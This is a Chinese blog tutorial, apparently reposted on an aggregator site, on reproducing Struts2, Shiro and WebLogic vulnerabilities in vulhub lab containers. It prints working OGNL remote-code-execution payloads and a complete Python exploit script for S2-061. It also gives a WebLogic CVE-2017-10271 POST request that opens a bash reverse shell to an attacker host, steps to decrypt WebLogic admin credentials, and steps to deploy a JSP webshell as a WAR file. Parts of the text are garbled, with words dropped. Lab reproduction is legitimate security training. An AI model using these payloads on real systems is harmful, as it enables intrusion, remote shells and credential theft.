首页 >> 大全

vulhub靶场框架漏洞复现手册(strusts2\shiro\weblogic

2024-01-01 大全 17 作者:考证青年

文章目录

前言

一、远程代码执行

s2-029

s2-061

s2-001

二、shiro反序列化漏洞复现

总结

前言

工具+手工复现靶场下的框架漏洞,包括远程代码执行(2-029,s2-061,s2-001),shiro反序列化漏洞(CVE-2016-4437),反序列化漏洞(CVE-2017-10271,CVE-2018-2628,CVE-2018-2894,CVE-2020-14882,ssrf,weak-)。持续更新中...

一、远程代码执行

漏洞介绍:是项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

漏洞特征:

1. 查看被测应用系统的源码,URL接口地址以 “.” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在-core-

2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在远程代码执行漏洞。

s2-029

1.拉取漏洞环境镜像

docker pull medicean/vulapps:s_struts2_s2-029

2. 启动漏洞环境

docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029

3.测试靶场

访问kali ip:8080,出现如下代表靶场搭建成功

4.使用工具利用漏洞

(1)Liqun验证

验证结果:存在漏洞

命令执行

工具链接:

提取码:8lk3

(2) 工具

命令执行

工具链接:

提取码:8lk3

(3)漏洞检查工具

命令执行

工具链接:

提取码:8lk3

5.手工利用漏洞

(1)刷新页面抓包,发送到。如果url的位置只有ip:8080,就手动在后面添加/.?=。之后在=后拼接poc

#POC
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

返回包爆出了用户权限

s2-061

1. 进入目录用拉取镜像启动环境。如果没有启动成功是因为上一个开启的靶场占用了8080端口。重启一下就行。

重启docker命令:systemctl restart docker
开启环境命令:docker-compose up -d

2.访问靶场

ip:8080

3.验证漏洞

发现使用工具验证不到漏洞存在,所以按照教程手工验证

(1) 在url后面拼接一条简单语句进行测试

?id=%{ 'test' + (2000 + 20).()}

查看页面源码发现被执行了,漏洞是存在的

4.漏洞利用

(1) 方法一:使用脚本利用漏洞

① -061.py

#struts2-061.py
#encoding=utf-8
import requests
import sys
from lxml import etreedef exp(url, cmd):payload = "%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27" + cmd + "%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"tturl = url + "/?id=" + payloadr = requests.get(tturl)page = r.text#   etree=html.etreepage = etree.HTML(page)data = page.xpath('//a[@id]/@id')print(data[0])if __name__ == '__main__':print('+------------------------------------------------------------+')print('+ EXP: python struts2-061-poc.py http://1.1.1.1:8081 id      +')print('+ VER: Struts 2.0.0-2.5.25                                   +')print('+------------------------------------------------------------+')print('+ S2-061 RCE && CVE-2020-17530                               +')print('+------------------------------------------------------------+')if len(sys.argv) != 3:print("[+]ussage: http://ip:port command")print("[+]============================================================")sys.exit()url = sys.argv[1]cmd = sys.argv[2]
exp(url, cmd)

② 在脚本目录打开cmd,运行脚本

python struts2-061.py url cmd

脚本链接:

提取码:8lk3

(2)方法二:在url上构造

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

② 查看页面源代码发现命令被执行了

s2-001 启动环境 - up -d访问靶场,验证是否存在代码执行。输入代码%{123},返回的是参数值123,说明漏洞存在。

3.构造poc,填到框

(1)执行语句

Poc:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

(2)获取web路径

Poc:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath("/")),#response.flush(),#response.close()}

(3)查看权限

Poc:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

(4) 在执行任意命令时只需要将上面poc的替换

二、shiro反序列化漏洞 CVE-2016-4437

1. 开启靶场

进入到靶场目录下使用命令:- up -d --build

如果添加了--build参数出错(如下)的话就把它删掉。猜测只有第一次开启这个靶场的时候才需要--build,已经开过就不用--build参数

出现done则说明靶场开启成功

2. 测试靶场

在win10火狐输入kalli ip+8080测试靶场是否开启成功

3.查看返回包验证是否存在shiro漏洞

使用admin/登录,勾选 me,抓包。发送到,查看回显包有无=字段。如果有则存在shiro漏洞

4. 用工具检验漏洞

工具:liqun

5. 反弹shell

(1) 在kali新开一个终端监听端口。命令:nc -lvvp 端口号

(2) 使用工具反弹shell

(3) 在终端执行命令

(4) 在工具执行命令

总结:想尝试使用来监听端口接收反弹的shell,但是工具里面显示执行成功的终端一直接收不到反弹的shell。所以还是用kali方便~

三、反序列化漏洞

tips:常用端口是7001

1. 进入目录开启漏洞环境

#cd vulhub/welogic/weak_password
#docker-compode up -d

2. 查看端口映射信息,发现映射到了7001

docker ps

3. 访问靶场

ip:7001

4. 使用工具检测漏洞

(1) liqun

_漏洞靶场是什么_漏洞靶场平台

(2) java反序列化漏洞利用工具

工具链接:

提取码:8lk3

5. 手工利用漏洞

(1) 访问//login/.jsp

转到后台登录页面

(2) 获取用户和密码的加密密钥和密文

(3) 获取密钥

密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于下,名为.dat和.xml。储存密钥的文件:.dat

访问::7001//hello/file.jsp?path=/.dat抓包重发,返回包中的一串乱码就是密钥。

(4) 将密钥保存为一个.bat文件便于后续解密

(5) 获取密文

访问:7001/hello/file.jsp?path=/.xml,其中的 的值,即为加密后的管理员密码

(6) 只用工具解密

工具链接:

提取码:8lk3

添加密钥文件时最好使用工具包里的\\.dat文件。用自己保存的那个会出现错误不知道为啥。

(7)常用的用户名/密码

6. 后台文件上传

(1) 用刚刚解密出来的用户名和密码登录系统

(2) 上传路径:域结构-部署-安装-上 传文件

(3) 将jsp木马文件压缩。(冰蝎文件夹下面有各个语言的一句话木马)

压缩为war文件的命令:jar -cvf shell.war shell.jsp

因为war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。

(4)部署完成

CVE- 2017-10271

1. 启动靶场环境

docker-compose up -d 

2. 查看端口开启情况,发现开启了7001端口

3. 访问靶场路径,kali IP:7001//wls-wsat/1,出现下图说明存在漏洞

4. 用攻击机端口21开启监听

刚开始使用win10作为监听机,但是无法监听到内容。换成kali就行。因为靶场和kali相当于处于同一个内网,物理机是作为外网的存在,所以win10无法直接监听到内网的端口。

5.使用bp向靶机发送如下post请求

POC:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637 





/bin/bash


-c


bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1







6. 发送POC结果

成功接收到反弹shell

简单命令执行:

7. 尝试写一句话木马,将poc拼接到之前的post请求下

POC:
      servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp]]>

8. 访问靶场ip:7001///test.jsp,写入成功

总结

持续更新中...

关于我们

最火推荐

小编推荐

联系我们


版权声明:本站内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 88@qq.com 举报,一经查实,本站将立刻删除。备案号:桂ICP备2021009421号
Powered By Z-BlogPHP.
复制成功
微信号:
我知道了